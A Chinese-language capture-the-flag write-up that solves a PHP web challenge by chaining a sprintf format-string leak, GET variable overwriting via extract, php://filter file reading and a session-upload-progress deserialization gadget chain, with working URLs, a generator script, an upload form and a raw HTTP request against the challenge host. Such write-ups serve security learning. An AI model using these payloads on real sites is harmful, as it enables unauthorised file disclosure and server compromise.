题目:
解题:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('secret_key.php');
if (!empty($_GET["name"])) {
$arr = array($_GET["name"], $secret_key);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data, $v);
}
echo $data;
}
if (($secret_key) === $_GET['key']) {
echo "<br>you get the key<br>";
$first = 'aa';
$ccc = 'amdin';
$i = 1;
foreach ($_GET as $key => $value) {
if ($i === 1) {
$i++;
$$key = $value;
} else {
break;
}
}
if ($first === "u") {
echo "<br>shi fu 666<br>";
$file = 'phpinfo.php';
$func = $_GET['function'];
call_user_func($func, $_GET);
if ($ccc === "F1ag") {
echo "<br>tqltqltqltqltql<br>";
require('class.php');
include($file);
}
} else {
echo "Can you hack me?<br>";
}
}代码审计
考点一:
sprintf 函数漏洞 可参考这篇文章 http://www.liugongrui.com/?id=18
http://120.55.43.255:13006/?name=%1s
name=%1s,%1代表引用第一个占位符的数据,s表示以字符串形式展示。得到secret_key=th3_k3y_y0u_cann0t_guess2333
考点二:
GET变量覆盖
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}限制了只有第一个GET值可以覆盖,我们把first放到前面,http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333
考点三:
变量覆盖
$func = $_GET['function'];
call_user_func($func,$_GET);
if($ccc==="F1ag")
{
echo "<br>tqltqltqltqltql<br>";
require('class.php');
include($file);
}因为$ccc='amdin' ,所以我们想要让$ccc==="F1ag",需要使用变量覆盖函数extract
http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag

考点四:
文件读取
$file='phpinfo.php';
$func = $_GET['function'];
call_user_func($func,$_GET);
if($ccc==="F1ag")
{
echo "<br>tqltqltqltqltql<br>";
require('class.php');
include($file);
}我们需要覆盖$file实现任意文件读取,上面已经实现覆盖任意变量了,这个也不在话下。我们读取一下class.php,需要使用php://filter/convert.base64-encode/resource= 变成base64读取出来,在解密
解密后得到class.php源码
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Monitor
{
public $test;
function __construct()
{
$this->test = "index.php";
}
function __destruct()
{
echo "<br>file:" . $this->test . "<br>";
}
}
class Welcome
{
public $obj;
public $var;
function __construct()
{
$this->var = 'success';
$this->obj = null;
}
function __toString()
{
$this->obj->execute();
return $this->var . "";
}
}
class Come
{
public $method;
public $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __wakeup()
{
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str)
{
$str = preg_replace("/[<>*;|?\n ]/", "", $str);
$str = str_replace('/../', '', $str);
$str = str_replace('../', '', $str);
return $str;
}
function get_dir($path)
{
print_r(scandir("/tmp" . $path));
}
function execute()
{
if (in_array($this->method, array("get_dir"))) {
call_user_func_array(array($this, $this->method), ($this->args));
}
}
}
?>考点五:
php session反序列化漏洞
可以参考这篇文章http://www.liugongrui.com/?id=37,https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
通过上传文件控制session的前提条件是需要知道phpinfo的信息

代码审计之后重新构造class文件,用来生成序列化后的对象字符串
<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
class Monitor
{
public $test;
function __construct()
{
$this->test = new Welcome();
}
function __destruct()
{
echo "<br>file:" . $this->test . "<br>";
}
}
class Welcome
{
public $obj;
public $var;
function __construct()
{
$this->var = 'succ1ess';
$this->obj = new Come("get_dir", array('/../var/www/html'));
}
function __toString()
{
$this->obj->execute();
return $this->var . "";
}
}
class Come
{
public $method;
public $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __wakeup()
{
echo 'Come __wakeup:';
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str)
{
$str = preg_replace("/[<>*;|?\n ]/", "", $str);
$str = str_replace('/../', '', $str);
$str = str_replace('../', '', $str);
return $str;
}
function get_dir($path)
{
print_r(scandir("/tmp" . $path));
var_dump($path);
}
function execute()
{
echo 'Come execute:';
var_dump($this->method);
var_dump($this->args);
if (in_array($this->method, array("get_dir"))) {
call_user_func_array(array($this, $this->method), ($this->args));
}
}
}
//
//echo serialize(new Come("get_dir", "/"));
echo serialize(new Monitor());
//echo serialize(new Welcome());
//unserialize('O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:16:"/../var/www/html";}}s:3:"var";s:8:"1succ1ess";}}')
//O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:16:"/../var/www/html";}}s:3:"var";s:8:"succ1ess";}}
?>之后构造一个html来提交请求,用bp抓包
<!DOCTYPE html> <html> <body> <form action="http://120.55.43.255:13006/class.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
POST /class.php HTTP/1.1
Host: 120.55.43.255:13006
Content-Length: 495
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzsUYyfXzNYMDvhNN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,und;q=0.8
Cookie: PHPSESSID=h07f1rfvnasjelkoo1vba8plj612
Connection: close
------WebKitFormBoundaryzsUYyfXzNYMDvhNN
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
2333
------WebKitFormBoundaryzsUYyfXzNYMDvhNN
Content-Disposition: form-data; name="|O:7:\"Monitor\":1:{s:4:\"test\";O:7:\"Welcome\":2:{s:3:\"obj\";O:4:\"Come\":2:{s:6:\"method\";s:7:\"get_dir\";s:4:\"args\";a:1:{i:0;s:16:\"/../var/www/html\";}}s:3:\"var\";s:8:\"succ1ess\";}}"; filename="211212.png"
Content-Type: image/png
PNG
------WebKitFormBoundaryzsUYyfXzNYMDvhNN--注意需要把succ1ess改为success,发送后得到了一个看似是flag的文件名

在通过刚才的文件读取漏洞读取 7his_1s_F1aG 文件,http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/convert.base64-encode/resource=7his_1s_F1aG

ZmxhZ3s0MDA0Yy1kMzcxMzNhNzdmMWZjYTdiYmQ1OGItNGIzYjZjfQo=,解密后得到
flag{4004c-d37133a77f1fca7bbd58b-4b3b6c}